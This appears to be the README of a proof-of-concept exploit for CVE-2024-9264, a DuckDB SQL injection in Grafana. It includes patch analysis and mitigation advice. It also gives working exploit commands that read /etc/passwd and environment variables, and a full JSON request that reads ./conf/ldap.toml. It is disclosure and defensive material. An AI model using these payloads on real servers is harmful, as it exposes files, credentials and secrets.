Grafana Post-Auth DuckDB SQL Injection (File Read)

Proof of Concept (PoC)

This PoC demonstrates the exploitation of CVE-2024-9264 using an authenticated user to perform a DuckDB SQL query and read an arbitrary file on the filesystem.

Setup: Install the required dependencies via:

pip install -r requirements.txt

Usage (File Read Example):

python3 CVE-2024-9264.py -u user -p pass  -f /etc/passwd  http://localhost:3000

You can also execute arbitrary DuckDB queries, such as calling getenv to retrieve environment variables:

python3 CVE-2024-9264.py -u user -p pass -q "SELECT getenv('PATH')" http://localhost:3000

The list of utility DuckDB functions that can be exploited can be found here.

Vulnerability Overview

CVE-2024-9264 is a DuckDB SQL injection vulnerability in Grafana's experimental SQL Expressions feature. Any authenticated user can execute arbitrary DuckDB SQL queries through modified expressions in Grafana dashboards.

Affected Versions:

• Grafana OSS and Enterprise versions 11.0.0 - 11.0.5, 11.1.0 - 11.1.6, and 11.2.0 - 11.2.1.

Patched Versions:

• 11.0.5+security-01 and higher

Finding the Patch

Grafana released special versions to fix this vulnerability. To analyze the patch, the following commands can be used to compare the changes:

git checkout v11.0.5+security-01
git diff 0421a8911cfc05a46c516fd9d033a51e52e51afe 70316b3e1418c9054017047e63c1c96abb26f495

This reveals that the SQL Expressions feature was simply removed from the vulnerable versions.

+++ b/pkg/expr/sql/db.go
@@ -0,0 +1,26 @@
+package sql
+
+import (
+       "errors"
+
+       "github.com/grafana/grafana-plugin-sdk-go/data"
+)
+
+type DB struct {
+}
+
+func (db *DB) TablesList(rawSQL string) ([]string, error) {
+       return nil, errors.New("not implemented")
+}
+
+func (db *DB) RunCommands(commands []string) (string, error) {
+       return "", errors.New("not implemented")
+}
+
+func (db *DB) QueryFramesInto(name string, query string, frames []*data.Frame, f *data.Frame) error {
+       return errors.New("not implemented")
+}
+
+func NewInMemoryDB() *DB {
+       return &DB{}
+}

@@ -85,7 +84,7 @@ func (gr *SQLCommand) Execute(ctx context.Context, now time.Time, vars mathexp.V
 
        rsp := mathexp.Results{}
 
-       duckDB := duck.NewInMemoryDB()
+       duckDB := sql.NewInMemoryDB()
        var frame = &data.Frame{}
        err := duckDB.QueryFramesInto(gr.refID, gr.query, allFrames, frame);
        if err != nil {

The patch removes SQL Expressions entirely, preventing the possibility of exploitation.

Exploiting the Vulnerability

1. Launch Grafana: Run Grafana with version 11.0.5:

   docker run --name=grafana -p 3000:3000 grafana/grafana-enterprise:11.0.5

2. Modify an Expression: Create a dashboard with an expression like "Math", intercept the request with Burp, and modify the datasource type from math to sql.

   A HTTP request will be sent to /api/ds/query?ds_type=__expr__&expression=true&requestId=Q101.

   Below is the minimal JSON required to perform a DuckDB SQL query to read an arbitrary file like ./conf/ldap.toml:

   {
     "queries": [
       {
         "refId": "B",
         "datasource": {
           "type": "__expr__",
           "uid": "__expr__",
           "name": "Expression"
         },
         "type": "sql",
         "hide": false,
         "expression": "SELECT content FROM read_blob(\"./conf/ldap.toml\")",
         "window": ""
       }
     ],
     "from": "1729313027261",
     "to": "1729334627261"
   }

No dashboard needs to present for the actual exploitation, it's just an easy way to find the HTTP request to execute a query.

Likelihood of Exploitability

It's important to note that while this vulnerability is critical, its exploitability depends on whether the DuckDB binary is installed on the Grafana server. By default, Grafana does not ship with DuckDB installed, and there is no option to install it directly from the Grafana interface.

For this vulnerability to be exploitable, an administrator must have manually installed DuckDB and added it to the Grafana server's $PATH. If DuckDB is not present, the SQL injection vulnerability cannot be leveraged, significantly reducing the likelihood of successful exploitation in default installations.

Mitigation

Update Grafana to patched versions, and ensure that the DuckDB binary is not present in the $PATH if patching is delayed.

Credits

This PoC uses the ten framework developed by cfreal.